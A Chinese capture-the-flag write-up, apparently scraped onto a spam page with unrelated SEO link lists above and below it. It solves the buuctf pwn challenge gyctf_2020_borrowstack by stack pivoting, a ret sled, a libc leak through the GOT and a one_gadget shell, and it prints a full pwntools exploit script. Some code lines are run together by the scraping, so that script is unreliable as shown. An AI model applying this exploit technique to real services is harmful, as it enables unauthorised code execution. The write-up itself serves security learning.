当前位置: 首页 > news >正文

黄埔区做网站长春网站制作计划

黄埔区做网站,长春网站制作计划,上海市建设工程招标公告,江苏省交通建设局网站题目来源buuctf——gyctf_2020_borrowstack 参考链接https://www.shawroot.cc/2097.html 题目信息ubuntu16、64位 第一个read仅溢出一个机器字长,需要栈迁移 解题步骤栈偏移到全局变量bank中,ret2libcgadget 关键步骤 ret滑梯 第二个payload需要添…

题目来源
buuctf——gyctf_2020_borrowstack

参考链接
https://www.shawroot.cc/2097.html

题目信息
ubuntu16、64位

第一个read仅溢出一个机器字长,需要栈迁移

解题步骤
栈偏移到全局变量bank中,ret2libc+gadget

关键步骤

  • ret滑梯

第二个payload需要添加padding的原因是bank的起始位置距离got表太近了,会报错,原因可能是:(1)有的got表项只读(2)程序有鉴别机制,不允许溢出到got。
有了p64(ret_addr)*20只要保证这一段足够长,p64(bss_addr)在其范围内,就不需要计算p64(bss_addr)中的地址,直接bss_addr就可以了。
因为ret汇编指令表示pop rip,所以程序会自动执行栈中下一条地址的内容,直到非ret指令。就像一个滑梯一样,不管你从中途哪个地方加入,都会滑到底。

payload = b'a'*0x60 + p64(bss_addr) + p64(leave_ret)
sa("Tell me what you want",payload)
#传说中的ret滑梯
payload = p64(ret_addr)*20 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(second_read_addr)
  • cyclic+gdb.attach脚本内动态调试

本来想使用system('/binsh'),因此选择的也是第二个read处覆盖函数返回地址。
先在脚本里使用cyclic配合gdbattach得到参数偏移数

puts_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = puts_addr - libc.sym['puts']
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
system_addr = libc_base + libc.sym["system"]
one_gadget=libc_base+0x4526apayload = cyclic(200)
db()
sd(payload)ti()

得到无法读取的内存地址(cyclic的片段)

所以ret_addr距离第二个read保存的参数的偏移为184

WP

# -*- coding: utf-8 -*-
from pwn import*
context.log_level='debug'
context.arch='amd64'
context.os = "linux"pc = "./gyctf_2020_borrowstack"if __name__ == '__main__':local = sys.argv[1]if local == '1':r= process(pc)elf = ELF(pc)libc = elf.libcelse:r=remote("node4.buuoj.cn",29055)elf = ELF(pc)libc = elf.libcsa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))def db():gdb.attach(r)pause()def dbs(src):gdb.attach(r, src)bss_addr = 0x601080
second_read_addr = 0x400680
ret_addr = 0x04004c9
leave_ret = 0x400699
pop_rdi_ret = 0x400703
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']payload = b'a'*0x60 + p64(bss_addr) + p64(leave_ret)
sa("Tell me what you want",payload)
#传说中的ret滑梯
payload = p64(ret_addr)*20 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(second_read_addr)
sla("stack now!",payload)
puts_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = puts_addr - libc.sym['puts']
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
system_addr = libc_base + libc.sym["system"]
one_gadget=libc_base+0x4526a#system函数需要的栈空间很大,因此第一个payload无法使用
#payload = cyclic(184) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
payload = cyclic(184) + p64(one_gadget)
sd(payload)ti()

http://www.tj-hxxt.cn/news/10108.html

相关文章:

  • WordPress商用收费吗seo最新优化技术
  • wordpress访问局域网企业seo网站推广
  • 开发软件网络优化app
  • 找北京赛车网站开发网推平台有哪些
  • 在windows2003上做网站百度地图导航2021最新版
  • 重庆平台网站建设找哪家销售人员培训课程有哪些
  • 镇江企业网站制作百度人工客服在线咨询电话
  • 如何免费做网站 详细点说互联网营销师是什么
  • 网站建设合约长春seo排名
  • 网络投放广告有哪些平台手机网站怎么优化
  • 做设计什么网站平台好点做私活手机优化大师怎么退款
  • 重庆哪里有做淘宝网站推广的东莞seo网络推广专
  • 企业门户网站在信息系统架构中属于哪个层次b站推广引流最佳方法
  • 网站服务器网络成都最好的seo外包
  • 做视频网站的技能东莞市网络seo推广服务机构
  • 青岛做网站seo怎么策划一个营销方案
  • 做网站需要哪些知识网络营销平台都有哪些
  • 广东专业做网站排名公司哪家好足球世界积分榜
  • 金融网站怎么做百度账号快速注册入口
  • 广西和住房城乡建设厅网站首页查域名备案
  • django 网站开发案例网站快速优化排名
  • 网站模版防被偷刷粉网站推广免费
  • 怎么做阿里巴巴国际网站谷歌三件套
  • 电子机箱网站建设报告免费手游推广平台
  • 系统开发的可行性分析seo课程培训学校
  • 无证做音频网站违法吗企业优化推广
  • 个人风采网站制作永久免费的网站服务器有哪些软件
  • 北京开网站建设公司公司如何建立网站
  • 湘潭网站建设选择磐石网络网络培训心得体会5篇
  • 怎样做个做外贸的网站宠物美容师宠物美容培训学校